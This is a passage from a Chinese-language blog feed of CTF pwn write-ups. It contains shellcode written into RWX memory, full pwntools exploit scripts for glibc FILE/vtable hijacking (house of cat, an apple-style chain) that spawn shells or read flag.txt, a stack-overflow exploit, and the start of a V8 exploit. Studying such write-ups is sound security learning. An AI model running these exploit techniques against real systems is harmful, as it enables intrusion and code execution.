<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x9090909090909090n</span>,</span>
<span class="line"><span class="number">0x6e69622fb848686an</span>,</span>
<span class="line"><span class="number">0xe7894850732f2f2fn</span>,</span>
<span class="line"><span class="number">0x2434810101697268n</span>,</span>
<span class="line"><span class="number">0x6a56f63101010101n</span>,</span>
<span class="line"><span class="number">0x894856e601485e08n</span>,</span>
<span class="line"><span class="number">0x50f583b6ad231e6n</span>,</span>
<span class="line"><span class="number">0xccccccccccccccccn</span>,</span>
<span class="line"><span class="number">0xfffffe57e9909090n</span>,</span>
<span class="line">];</span>
<span class="line"></span>
<span class="line">rwx = <span class="title function_">read64</span>(stack + <span class="number">0x51n</span>);</span>
<span class="line"><span class="title function_">hex</span>(rwx)</span>
<span class="line"><span class="title function_">hex</span>(stack);</span>
<span class="line"><span class="title function_">hex</span>(x);</span>
<span class="line"><span class="title function_">hex</span>(y);</span>
<span class="line"><span class="title function_">print</span>(y);</span>
<span class="line"></span>
<span class="line"><span class="keyword">for</span>(i = <span class="number">1n</span>; i &lt; <span class="number">100n</span>; i++)</span>
<span class="line">&#123;</span>
<span class="line">    <span class="keyword">if</span>(i &lt; <span class="number">0x34</span>)</span>
<span class="line">        <span class="title function_">write64</span>(rwx + i * <span class="number">8n</span> + <span class="number">0n</span>, sh[i]);</span>
<span class="line">&#125;</span>
</pre></td></tr></table></figure>

<h1 id="BBOX"><a href="https://imi-imiab.com/posts/cnblogs-19254887/#BBOX" class="headerlink" title="BBOX"></a>BBOX</h1><p>没学过qemu逃逸，期中考完学一下</p>
]]></content>
</entry>
<entry>
<title type="text">securityCTF 2025 pwn方向题解</title>
<id>https://imi-imiab.com/posts/cnblogs-19135998/</id>
<link rel="alternate" type="text/html" href="https://imi-imiab.com/posts/cnblogs-19135998/"/>
<author><name>imiab</name></author>
<published>2025-10-11T05:16:00.000Z</published>
<updated>2025-10-11T05:17:00.000Z</updated>
<category term="Pwn" scheme="https://imi-imiab.com/categories/Pwn/"/>
<category term="CTF" scheme="https://imi-imiab.com/tags/CTF/"/>
<category term="Pwn" scheme="https://imi-imiab.com/tags/Pwn/"/>
<summary type="text">V-table 手挖io链子 正常的链子 exit_handler() -&gt; io_flush_all() -&gt; io_overflow() -&gt; io_do_write() 我们修改vtable，使得调用overflow变成调用file_finish，正常的finish链子 ex</summary>
<content type="html" xml:base="https://imi-imiab.com/posts/cnblogs-19135998/"><![CDATA[<h1 id="V-table"><a href="https://imi-imiab.com/posts/cnblogs-19135998/#V-table" class="headerlink" title="V-table"></a>V-table</h1><p>手挖io链子</p>
<p>正常的链子<br>exit_handler() -&gt; io_flush_all() -&gt; io_overflow() -&gt; io_do_write()</p>
<p>我们修改vtable，使得调用overflow变成调用file_finish，正常的finish链子<br>exit_handler() -&gt; io_file_finish() -&gt; io_do_write()</p>
<p>而实际上我们修改了vtable，finish的位置在overflow-8，因此do_write对应的虚函数也要-8<br>exit_handler() -&gt; io_file_finish() -&gt; io_do_read()</p>
<p>于是我们就拿到了一个任意写<br>接下来写chains并打house of cat即可</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename = <span class="string">&#x27;./main&#x27;</span></span>
<span class="line">libc = ELF(<span class="string">&quot;./libc.so.6&quot;</span>)</span>
<span class="line">host= <span class="string">&#x27;pwn-14caf623.p1.securinets.tn&#x27;</span></span>
<span class="line">port= <span class="number">9002</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">e = ELF(filename)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">mode, script = <span class="string">&quot;&quot;</span></span>):</span>
<span class="line">    <span class="keyword">if</span> <span class="string">&quot;d&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = gdb.debug(filename, script)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;l&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;r&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = remote(host, port)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;a&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">        gdb.attach(p, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">getp</span>():</span>
<span class="line">    <span class="keyword">global</span> script</span>
<span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) == <span class="number">2</span>:</span>
<span class="line">        p = run(sys.argv[<span class="number">1</span>], script)</span>
<span class="line">    <span class="keyword">else</span>:</span>
<span class="line">        p = run(<span class="string">&quot;l&quot;</span>, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line">script = <span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">b _IO_flush_all</span></span>
<span class="line"><span class="string">b *(&amp;_IO_flush_all+210)</span></span>
<span class="line"><span class="string">b _IO_switch_to_wget_mode</span></span>
<span class="line"><span class="string">go</span></span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span>
<span class="line">    <span class="keyword">global</span> p</span>
<span class="line">    p = getp()</span>
<span class="line"></span>
<span class="line">    p.recvuntil(<span class="string">&#x27;0x&#x27;</span>)</span>
<span class="line">    libcbase = <span class="built_in">int</span>(p.recv(<span class="number">12</span>), <span class="number">16</span>) - libc.sym[<span class="string">&#x27;_IO_2_1_stdout_&#x27;</span>]</span>
<span class="line">    libc.address = libcbase</span>
<span class="line">    jump = libc.sym[<span class="string">&#x27;_IO_file_jumps&#x27;</span>]</span>
<span class="line">    stdin = libc.sym[<span class="string">&#x27;_IO_2_1_stdin_&#x27;</span>]</span>
<span class="line">    stdout = libc.sym[<span class="string">&#x27;_IO_2_1_stdout_&#x27;</span>]</span>
<span class="line">    <span class="built_in">print</span>(<span class="built_in">hex</span>(stdout))</span>
<span class="line">    file = flat(</span>
<span class="line">    &#123;</span>
<span class="line">        <span class="number">0x0</span>:<span class="number">0xfbad1800</span>,</span>
<span class="line">        <span class="number">0x8</span>:[stdout + <span class="number">0x801</span>, stdout, stdout+<span class="number">0x800</span>],</span>
<span class="line">        <span class="number">0x20</span>:[stdout, stdout - <span class="number">0x800</span>, stdout],</span>
<span class="line">        <span class="number">0x68</span>:stdout - <span class="number">0x10</span>,</span>
<span class="line">        <span class="number">0x88</span>:stdout + <span class="number">0x1f0</span>,</span>
<span class="line">        <span class="number">0xb0</span>:<span class="number">0</span>,</span>
<span class="line">        <span class="number">0xc8</span>:jump-<span class="number">8</span>,</span>
<span class="line"></span>
<span class="line">        <span class="number">0x78</span>:stdout + <span class="number">0x1f0</span>,</span>
<span class="line">        <span class="number">0x90</span>:stdout</span>
<span class="line"></span>
<span class="line">    &#125;, filler = <span class="string">b&#x27;\x00&#x27;</span></span>
<span class="line">    )</span>
<span class="line">    pay = <span class="built_in">bytes</span>(file)</span>
<span class="line">    s(pay)</span>
<span class="line"></span>
<span class="line">    fake_io=stdout+<span class="number">0x100</span></span>
<span class="line">    IO_wfile_jumps=libc.sym[<span class="string">&#x27;_IO_wfile_jumps&#x27;</span>]</span>
<span class="line">    saddr=libc.sym[<span class="string">&#x27;system&#x27;</span>]</span>
<span class="line">    binsh=libc.search(<span class="string">&#x27;/bin/sh&#x27;</span>).__next__()</span>
<span class="line"></span>
<span class="line">    magic=<span class="number">0x0000000000154720</span>+libcbase</span>
<span class="line">    IO_wfile_jumps=libc.sym[<span class="string">&#x27;_IO_wfile_jumps&#x27;</span>]</span>
<span class="line">    setcontext_61=libc.sym[<span class="string">&#x27;setcontext&#x27;</span>]+<span class="number">53</span></span>
<span class="line">    rdi=libc.search(asm(<span class="string">&quot;pop rdi;ret&quot;</span>),executable=<span class="literal">True</span>).__next__()</span>
<span class="line">    rax=libc.search(asm(<span class="string">&quot;pop rax;ret&quot;</span>),executable=<span class="literal">True</span>).__next__()</span>
<span class="line">    rsi=libc.search(asm(<span class="string">&quot;pop rsi;ret&quot;</span>),executable=<span class="literal">True</span>).__next__()</span>
<span class="line">    sys_ret=libc.search(asm(<span class="string">&quot;syscall;ret&quot;</span>),executable=<span class="literal">True</span>).__next__()</span>
<span class="line">    ret=rdi +<span class="number">1</span></span>
<span class="line">    saddr=libc.sym[<span class="string">&#x27;system&#x27;</span>]</span>
<span class="line">    Rop=p64(rdi)+p64(binsh)+p64(saddr)</span>
<span class="line">    orw=p64(setcontext_61)+p64(rdi)+p64(<span class="number">0xFFFFFF9C</span>)</span>
<span class="line">    <span class="comment"># 0x0    rdi             0x8   _IO_read_ptr</span></span>
<span class="line">    <span class="comment"># 0x10  _IO_read_end     0x18  _IO_read_base</span></span>
<span class="line">    <span class="comment"># 0x20  _IO_write_base   0x28  _IO_write_ptr</span></span>
<span class="line">    <span class="comment"># 0x30  _IO_write_end    0x38  _IO_buf_base</span></span>
<span class="line">    <span class="comment"># 0x40  _IO_buf_end      0x48  _IO_save_base</span></span>
<span class="line">    <span class="comment"># 0x50  _IO_backup_base  0x58  _IO_save_end</span></span>
<span class="line">    <span class="comment"># 0x60  _markers         0x68  _chain</span></span>
<span class="line">    <span class="comment"># 0x70  _fileno          0x74  _flags2</span></span>
<span class="line">    <span class="comment"># 0x78  _old_offset      0x80  _cur_column</span></span>
<span class="line">    <span class="comment"># 0x82  _vtable_offset   0x83  _shortbuf</span></span>
<span class="line">    <span class="comment"># 0x88  _lock            0x90  _offset</span></span>
<span class="line">    <span class="comment"># 0x98  _codecvt         0xa0  _wide_data</span></span>
<span class="line">    <span class="comment"># 0xa8  _freeres_list    0xb0  _freeres_buf</span></span>
<span class="line">    <span class="comment"># 0xb8  __pad5           0xc0  _mode</span></span>
<span class="line">    <span class="comment"># 0xc4  _unused2         0xd8  vtable</span></span>
<span class="line">    <span class="comment"># magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]</span></span>
<span class="line"></span>
<span class="line">    cat=flat(</span>
<span class="line">    &#123;</span>
<span class="line">    <span class="number">0x0</span>:[<span class="string">b&#x27;./flag.txt&#x27;</span>],     <span class="comment"># rdi=binsh</span></span>
<span class="line">    <span class="number">0x20</span>:[p64(<span class="number">0</span>)],            <span class="comment"># write_base</span></span>
<span class="line">    <span class="number">0x28</span>:[p64(<span class="number">1</span>)],            <span class="comment"># write_ptr --&gt; ptr &gt; base</span></span>
<span class="line">    <span class="number">0xc0</span>:[p64(<span class="number">0</span>)],            <span class="comment"># _mode &lt;= 0</span></span>
<span class="line">    <span class="number">0xd8</span>:[p64(IO_wfile_jumps+<span class="number">0x30</span>)],</span>
<span class="line"></span>
<span class="line">    <span class="number">0x88</span>:[p64(fake_io+<span class="number">0x90</span>),p64(<span class="number">0</span>),p64(<span class="number">1</span>)],   <span class="comment"># bypass lock</span></span>
<span class="line"></span>
<span class="line">    <span class="number">0xA0</span>:[p64(fake_io+<span class="number">0xA8</span>),p64(<span class="number">0</span>),p64(<span class="number">1</span>)],</span>
<span class="line">    (<span class="number">0xA0</span>+<span class="number">0x20</span>):[p64(<span class="number">0</span>)],</span>
<span class="line">    (<span class="number">0xA0</span>+<span class="number">0x28</span>):[p64(<span class="number">1</span>)],            <span class="comment"># bypass check in wfile_seekoff</span></span>
<span class="line">    (<span class="number">0xA0</span>+<span class="number">0x30</span>):[p64(<span class="number">1</span>)],            <span class="comment"># bypass check in wfile_seekoff</span></span>
<span class="line">    (<span class="number">0xB0</span>+<span class="number">0xd8</span>):[p64(fake_io+<span class="number">0xB0</span>+<span class="number">0xd8</span>)], <span class="comment"># fake wfile vtable</span></span>
<span class="line">    (<span class="number">0xB0</span>+<span class="number">0xd8</span>+<span class="number">0x18</span>):[p64(magic)],   <span class="comment"># call entry</span></span>
<span class="line">    (<span class="number">0xB0</span>+<span class="number">0xd8</span>+<span class="number">0x18</span>+<span class="number">0x20</span>):[p64(fake_io+<span class="number">0xB0</span>+<span class="number">0xd8</span>+<span class="number">0x18</span>+<span class="number">0x28</span>)],</span>
<span class="line">    (<span class="number">0xB0</span>+<span class="number">0xd8</span>+<span class="number">0x18</span>+<span class="number">0x48</span>):[p64(setcontext_61)],</span>
<span class="line">    (<span class="number">0x1C8</span>+<span class="number">0xA0</span>):[p64(fake_io+<span class="number">0x280</span>)],    <span class="comment"># rsp</span></span>
<span class="line">    (<span class="number">0x1C8</span>+<span class="number">0x68</span>):[p64(<span class="number">0xffffff9c</span>)],       <span class="comment"># rdi</span></span>
<span class="line">    (<span class="number">0x1C8</span>+<span class="number">0xA8</span>):[p64(rax)],              <span class="comment"># ret_addr</span></span>
<span class="line">    (<span class="number">0x1C8</span>+<span class="number">0x88</span>):[p64(<span class="number">0x100</span>)],            <span class="comment"># rdx</span></span>
<span class="line">    (<span class="number">0x1C8</span>+<span class="number">0x70</span>):[p64(fake_io)],          <span class="comment"># rsi</span></span>
<span class="line">    (<span class="number">0x280</span>):[p64(<span class="number">0x101</span>),p64(sys_ret),            <span class="comment"># rop</span></span>
<span class="line">    p64(rdi),p64(<span class="number">3</span>),p64(rax),p64(<span class="number">0x0</span>),p64(sys_ret),</span>
<span class="line">    p64(rax),p64(<span class="number">0x1</span>),p64(rdi),p64(<span class="number">0x1</span>),p64(sys_ret),</span>
<span class="line">    ]</span>
<span class="line">    &#125;,filler=<span class="string">b&#x27;\x00&#x27;</span>)</span>
<span class="line"></span>
<span class="line">    file = flat(</span>
<span class="line">    &#123;</span>
<span class="line">        <span class="number">0x58</span>:stdout + <span class="number">0x100</span>,</span>
<span class="line">        <span class="number">0x88</span>:stdout + <span class="number">0x1f0</span>,</span>
<span class="line">        <span class="number">0xb0</span>:<span class="number">0</span>,</span>
<span class="line">        <span class="number">0xc8</span>:jump - <span class="number">8</span>,</span>
<span class="line"></span>
<span class="line">        <span class="number">0x78</span>:stdout + <span class="number">0x1f0</span>,</span>
<span class="line">        <span class="number">0x90</span>:fake_io</span>
<span class="line"></span>
<span class="line">    &#125;, filler = <span class="string">b&#x27;\x00&#x27;</span></span>
<span class="line">    )</span>
<span class="line"></span>
<span class="line">    pay = <span class="built_in">bytes</span>(file).ljust(<span class="number">0x100</span>, <span class="string">b&#x27;\x00&#x27;</span>) + <span class="built_in">bytes</span>(cat)</span>
<span class="line">    s(pay)</span>
<span class="line"></span>
<span class="line"><span class="comment"># write_ptr &lt; write_base (avoid crash in switch to get mode)</span></span>
<span class="line"><span class="comment"># mode &gt; 0 (trigger IO_overflow)</span></span>
<span class="line"><span class="comment"># _wide_data-&gt;_IO_write_ptr&gt; _wide_data-&gt;_IO_write_base (trigger IO_overflow)</span></span>
<span class="line"><span class="comment"># # A0 -&gt; 18 less than A0 -&gt; 20</span></span>
<span class="line"><span class="comment"># read from _IO_buf_base to _IO_buf_end</span></span>
<span class="line"></span>
<span class="line"><span class="comment"># ignore that</span></span>
<span class="line"></span>
<span class="line"><span class="comment"># io flush out</span></span>
<span class="line"></span>
<span class="line"><span class="comment"># 0x0    rdi             0x8   _IO_read_ptr</span></span>
<span class="line"><span class="comment"># 0x10  _IO_read_end     0x18  _IO_read_base</span></span>
<span class="line"><span class="comment"># 0x20  _IO_write_base   0x28  _IO_write_ptr</span></span>
<span class="line"><span class="comment"># 0x30  _IO_write_end    0x38  _IO_buf_base</span></span>
<span class="line"><span class="comment"># 0x40  _IO_buf_end      0x48  _IO_save_base</span></span>
<span class="line"><span class="comment"># 0x50  _IO_backup_base  0x58  _IO_save_end</span></span>
<span class="line"><span class="comment"># 0x60  _markers         0x68  _chain</span></span>
<span class="line"><span class="comment"># 0x70  _fileno          0x74  _flags2</span></span>
<span class="line"><span class="comment"># 0x78  _old_offset      0x80  _cur_column</span></span>
<span class="line"><span class="comment"># 0x82  _vtable_offset   0x83  _shortbuf</span></span>
<span class="line"><span class="comment"># 0x88  _lock            0x90  _offset</span></span>
<span class="line"><span class="comment"># 0x98  _codecvt         0xa0  _wide_data</span></span>
<span class="line"><span class="comment"># 0xa8  _freeres_list    0xb0  _freeres_buf</span></span>
<span class="line"><span class="comment"># 0xb8  __pad5           0xc0  _mode</span></span>
<span class="line"><span class="comment"># 0xc4  _unused2         0xd8  vtable</span></span>
<span class="line"><span class="comment"># magic:0x176f0e : mov rdx, qword ptr [rax + 0x38] ; mov rdi, rax ; call qword ptr [rdx + 0x20]</span></span>
<span class="line"></span>
<span class="line">pwn()</span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<p><img src="https://imi-imiab.com/images/posts/842f79dd162b9077f41c.png" alt="PixPin\_2025-10-06\_19-11-12" loading="lazy" decoding="async"></p>
<p>一条亟待复现的链子<br>_IO_cleanup-&gt; _IO_unbuffer_all-&gt;_IO_new_file_setbuf-&gt;_IO_default_setbuf-&gt;_IO_new_file_sync-&gt;_IO_do_flush-&gt; _IO_wdo_write-&gt;__libio_codecvt_out</p>
<p>哦就是apple，不过我还没研究过，有时间再说</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line"></span>
<span class="line">chal = ELF(<span class="string">&#x27;./main_patched&#x27;</span>)</span>
<span class="line"></span>
<span class="line">HOST = <span class="string">&#x27;pwn-14caf623.p1.securinets.tn&#x27;</span></span>
<span class="line">PORT =  <span class="number">9002</span></span>
<span class="line"></span>
<span class="line">gdbscript=<span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">dir ~/glibc</span></span>
<span class="line"><span class="string">b *vuln +54</span></span>
<span class="line"><span class="string">c</span></span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"></span>
<span class="line">context.binary = chal</span>
<span class="line">context.terminal = [<span class="string">&quot;tmux&quot;</span>, <span class="string">&quot;splitw&quot;</span>, <span class="string">&quot;-h&quot;</span>]</span>
<span class="line"></span>
<span class="line"><span class="keyword">if</span> args.GDB:</span>
<span class="line">    conn = gdb.debug([chal.path], gdbscript)</span>
<span class="line"><span class="keyword">elif</span> args.REMOTE:</span>
<span class="line">    conn = remote(HOST, PORT)</span>
<span class="line"><span class="keyword">else</span>:</span>
<span class="line">    conn = process([chal.path])</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">main</span>():</span>
<span class="line">    conn.recvuntil(<span class="string">b&#x27;: &#x27;</span>)</span>
<span class="line">    </span>
<span class="line">    addr_stdout = <span class="built_in">int</span>(conn.recvline().strip(), <span class="number">0x10</span>)</span>
<span class="line">    </span>
<span class="line">    <span class="comment"># FIXME</span></span>
<span class="line">    addr_libc_base = addr_stdout - <span class="number">0x1e85c0</span></span>
<span class="line">    addr_system = addr_libc_base + <span class="number">0x53110</span></span>
<span class="line">    addr_stdfile_1_lock = addr_libc_base + <span class="number">0x1e97b0</span></span>
<span class="line">    addr_gadget = addr_libc_base + <span class="number">0x001563c3</span> <span class="comment"># add rdi, 0x10; jmp rcx;</span></span>
<span class="line"></span>
<span class="line">    info(<span class="string">f&#x27;<span class="subst">&#123;addr_stdout = :#x&#125;</span>&#x27;</span>)</span>
<span class="line">    info(<span class="string">f&#x27;<span class="subst">&#123;addr_libc_base = :#x&#125;</span>&#x27;</span>)</span>
<span class="line">    info(<span class="string">f&#x27;<span class="subst">&#123;addr_system = :#x&#125;</span>&#x27;</span>)</span>
<span class="line">    info(<span class="string">f&#x27;<span class="subst">&#123;addr_stdfile_1_lock = :#x&#125;</span>&#x27;</span>)</span>
<span class="line">    info(<span class="string">f&#x27;<span class="subst">&#123;addr_gadget = :#x&#125;</span>&#x27;</span>)</span>
<span class="line"></span>
<span class="line">    payload = flat(&#123;    </span>
<span class="line">        <span class="number">0x0</span>: <span class="number">1</span>, <span class="comment">#  _flags</span></span>
<span class="line">        <span class="number">0x8</span>: addr_system + <span class="number">0x4</span>,             <span class="comment"># _IO_read_ptr (_wide_data-&gt;_IO_write_base),</span></span>
<span class="line">        <span class="number">0x10</span>: addr_system + <span class="number">0x3</span>,            <span class="comment">#_IO_read_end (_wide_data-&gt;_IO_write_ptr)</span></span>
<span class="line">        <span class="number">0x20</span>: <span class="number">0</span>,                            <span class="comment"># _IO_write_base (_codecvt-&gt;__cd_out-&gt;step-&gt;__shlib_handle)</span></span>
<span class="line">        <span class="number">0x28</span>: <span class="number">1</span>,                            <span class="comment"># _IO_write_ptr</span></span>
<span class="line">        <span class="number">0x30</span>: <span class="string">b&#x27;/bin/sh\0&#x27;</span>,                 <span class="comment"># rdi + 0x10</span></span>
<span class="line">        <span class="number">0x38</span>: <span class="number">0</span>,                            <span class="comment"># _IO_buf_base (_wide_data-&gt;_IO_backup_base)</span></span>
<span class="line">        <span class="number">0x48</span>: addr_gadget,                  <span class="comment"># _IO_save_base (_codecvt-&gt;__cd_out-&gt;step-&gt;__fct)</span></span>
<span class="line">        <span class="number">0x50</span>: <span class="number">0</span>,                            <span class="comment"># _IO_backup_base</span></span>
<span class="line">        <span class="number">0x58</span>: addr_stdout + <span class="number">0x20</span>,           <span class="comment"># _IO_save_end (_codecvt-&gt;__cd_out-&gt;step) +0x60, +0x68, +0x80 will be overwitten</span></span>
<span class="line">        <span class="number">0x88</span>: addr_stdfile_1_lock,          <span class="comment"># _lock</span></span>
<span class="line">        <span class="number">0x98</span>: addr_stdout + <span class="number">0x58</span> - <span class="number">0x38</span>,    <span class="comment"># _codecvt</span></span>
<span class="line">        <span class="number">0xa0</span>: addr_stdout + <span class="number">0x8</span> - <span class="number">0x18</span>,     <span class="comment"># _wide_data</span></span>
<span class="line">        <span class="number">0xc0</span>: <span class="number">1</span>,  <span class="comment"># _mode</span></span>
<span class="line">    &#125;, filler=<span class="string">b&#x27;\0&#x27;</span>, length=<span class="number">0xd8</span>)</span>
<span class="line"></span>
<span class="line">    conn.send(payload)</span>
<span class="line">    conn.interactive()</span>
<span class="line"></span>
<span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:  </span>
<span class="line">    main()</span>
</pre></td></tr></table></figure>

<h1 id="Zip"><a href="https://imi-imiab.com/posts/cnblogs-19135998/#Zip" class="headerlink" title="Zip++"></a>Zip++</h1><p>zip，但是压缩算法不好<br>所以有个栈溢出控制到win就结束了</p>
<figure class="highlight python"><table><tr><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span>
<span class="line">filename = <span class="string">&#x27;./main&#x27;</span></span>
<span class="line"><span class="comment"># libc = ELF(&quot;./libc.so.6&quot;)</span></span>
<span class="line">host= <span class="string">&#x27;pwn-14caf623.p1.securinets.tn&#x27;</span></span>
<span class="line">port= <span class="number">9000</span></span>
<span class="line"></span>
<span class="line">sla = <span class="keyword">lambda</span> x,s : p.sendlineafter(x,s)</span>
<span class="line">sl = <span class="keyword">lambda</span> s : p.sendline(s)</span>
<span class="line">sa = <span class="keyword">lambda</span> x,s : p.sendafter(x,s)</span>
<span class="line">s = <span class="keyword">lambda</span> s : p.send(s)</span>
<span class="line"></span>
<span class="line">e = ELF(filename)</span>
<span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span>
<span class="line">context(arch=e.arch, bits=e.bits, endian=e.endian, os=e.os)</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">run</span>(<span class="params">mode, script = <span class="string">&quot;&quot;</span></span>):</span>
<span class="line">    <span class="keyword">if</span> <span class="string">&quot;d&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = gdb.debug(filename, script)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;l&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;r&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = remote(host, port)</span>
<span class="line">    <span class="keyword">elif</span> <span class="string">&quot;a&quot;</span> <span class="keyword">in</span> mode:</span>
<span class="line">        p = process(filename)</span>
<span class="line">        gdb.attach(p, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">getp</span>():</span>
<span class="line">    <span class="keyword">global</span> script</span>
<span class="line">    <span class="keyword">if</span> <span class="built_in">len</span>(sys.argv) == <span class="number">2</span>:</span>
<span class="line">        p = run(sys.argv[<span class="number">1</span>], script)</span>
<span class="line">    <span class="keyword">else</span>:</span>
<span class="line">        p = run(<span class="string">&quot;l&quot;</span>, script)</span>
<span class="line">    <span class="keyword">return</span> p</span>
<span class="line"></span>
<span class="line">script = <span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"><span class="string">go</span></span>
<span class="line"><span class="string">&#x27;&#x27;&#x27;</span></span>
<span class="line"></span>
<span class="line"><span class="keyword">def</span> <span class="title function_">pwn</span>():</span>
<span class="line"></span>
<span class="line">    <span class="keyword">global</span> p</span>
<span class="line">    p = getp()</span>
<span class="line">    pay = <span class="string">b&#x27;\x01\x02&#x27;</span> * <span class="number">198</span> + <span class="string">b&#x27;\xa6&#x27;</span> *<span class="number">0x11</span></span>
<span class="line">    sa(<span class="string">&#x27;:&#x27;</span>,pay)</span>
<span class="line">    sa(<span class="string">&#x27;:&#x27;</span>,<span class="string">&#x27;exit&#x27;</span>)</span>
<span class="line"></span>
<span class="line">pwn()</span>
<span class="line">p.interactive()</span>
</pre></td></tr></table></figure>

<h1 id="Sukunahikona"><a href="https://imi-imiab.com/posts/cnblogs-19135998/#Sukunahikona" class="headerlink" title="Sukunahikona"></a>Sukunahikona</h1><p>一个简单的v8题</p>
<figure class="highlight js"><table><tr><td class="code"><pre><span class="line"><span class="keyword">var</span> _b = <span class="keyword">new</span> <span class="title class_">ArrayBuffer</span>(<span class="number">16</span>);</span>
<span class="line"><span class="keyword">var</span> _f = <span class="keyword">new</span> <span class="title class_">Float64Array</span>(_b);</span>
<span class="line"><span class="keyword">var</span> _i = <span class="keyword">new</span> <span class="title class_">BigUint64Array</span>(_b);</span>
<span class="line"><span class="keyword">function</span> <span class="title function_">f2i</span>(<span class="params">f</span>)</span>
<span class="line">&#123;</span>
<span class="line">    _f[<span class="number">0</span>] = f;</span>
<span class="line">    <span class="keyword">return</span> _i[<span class="number">0</span>];</span>
<span class="line">&#125;</span>
<span class="line"><span class="keyword">function</span> <span class="title function_">i2f</span>(<span class="params">i</span>)</span>
<span class="line">&#123;</span>
<span class="line">    _i[<span class="number">0</span>] = i;</span>
<span class="line">    <span class="keyword">return</span> _f[<span class="number">0</span>];</span>
<span class="line">&#125;</span>
<span class="line"><span class="keyword">function</span> <span class="title function_">phex</span>(<span class="params">i</span>)</span>
